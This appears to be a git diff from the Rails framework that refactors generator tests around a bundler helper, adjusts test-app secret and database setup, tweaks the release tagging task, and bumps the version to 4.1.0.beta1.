--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -26,11 +26,17 @@ module SharedGeneratorTests
default_files.each { |path| assert_file path }
end
- def test_generation_runs_bundle_install
- generator([destination_root]).expects(:bundle_command).with('install').once
+ def assert_generates_with_bundler(options = {})
+ generator([destination_root], options)
+ generator.expects(:bundle_command).with('install').once
+ generator.stubs(:bundle_command).with('exec spring binstub --all')
quietly { generator.invoke_all }
end
+ def test_generation_runs_bundle_install
+ assert_generates_with_bundler
+ end
+
def test_plugin_new_generate_pretend
run_generator ["testapp", "--pretend"]
default_files.each{ |path| assert_no_file File.join("testapp",path) }
@@ -96,15 +102,13 @@ module SharedGeneratorTests
end
def test_dev_option
- generator([destination_root], dev: true).expects(:bundle_command).with('install').once
- quietly { generator.invoke_all }
+ assert_generates_with_bundler dev: true
rails_path = File.expand_path('../../..', Rails.root)
assert_file 'Gemfile', /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
end
def test_edge_option
- generator([destination_root], edge: true).expects(:bundle_command).with('install').once
- quietly { generator.invoke_all }
+ assert_generates_with_bundler edge: true
assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
end
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 913e2b5e29..a1f1973563 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -93,7 +93,8 @@ module TestHelpers
# Build an application by invoking the generator and going through the whole stack.
def build_app(options = {})
@prev_rails_env = ENV['RAILS_ENV']
- ENV['RAILS_ENV'] = 'development'
+ ENV['RAILS_ENV'] = 'development'
+ ENV['RAILS_SECRET_KEY_BASE'] ||= SecureRandom.hex(16)
FileUtils.rm_rf(app_path)
FileUtils.cp_r(app_template_path, app_path)
@@ -117,9 +118,26 @@ module TestHelpers
end
end
+ File.open("#{app_path}/config/database.yml", "w") do |f|
+ f.puts <<-YAML
+ default: &default
+ adapter: sqlite3
+ pool: 5
+ timeout: 5000
+ development:
+ <<: *default
+ database: db/development.sqlite3
+ test:
+ <<: *default
+ database: db/test.sqlite3
+ production:
+ <<: *default
+ database: db/production.sqlite3
+ YAML
+ end
+
add_to_config <<-RUBY
config.eager_load = false
- config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
config.session_store :cookie_store, key: "_myapp_session"
config.active_support.deprecation = :log
config.action_controller.allow_forgery_protection = false
@@ -139,7 +157,7 @@ module TestHelpers
app = Class.new(Rails::Application)
app.config.eager_load = false
- app.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+ app.secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
app.config.session_store :cookie_store, key: "_myapp_session"
app.config.active_support.deprecation = :log
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
index e45a5228a1..a9b237d0a5 100644
--- a/railties/test/rails_info_controller_test.rb
+++ b/railties/test/rails_info_controller_test.rb
@@ -1,7 +1,5 @@
require 'abstract_unit'
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-
module ActionController
class Base
include ActionController::Testing
diff --git a/tasks/release.rb b/tasks/release.rb
index 66da67bfd0..439a9e0c05 100644
--- a/tasks/release.rb
+++ b/tasks/release.rb
@@ -1,4 +1,4 @@
-FRAMEWORKS = %w( activesupport activemodel activerecord actionpack actionview actionmailer railties )
+FRAMEWORKS = %w( activesupport activemodel activerecord actionview actionpack actionmailer railties )
root = File.expand_path('../../', __FILE__)
version = File.read("#{root}/RAILS_VERSION").strip
@@ -120,7 +120,7 @@ namespace :all do
end
task :tag do
- sh "git tag #{tag}"
+ sh "git tag -m '#{tag} release' #{tag}"
sh "git push --tags"
end
diff --git a/version.rb b/version.rb
index 5a6d8d0983..923cab4e2a 100644
--- a/version.rb
+++ b/version.rb
@@ -3,7 +3,7 @@ module Rails
MAJOR = 4
MINOR = 1
TINY = 0
- PRE = "beta"
+ PRE = "beta1"
STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
end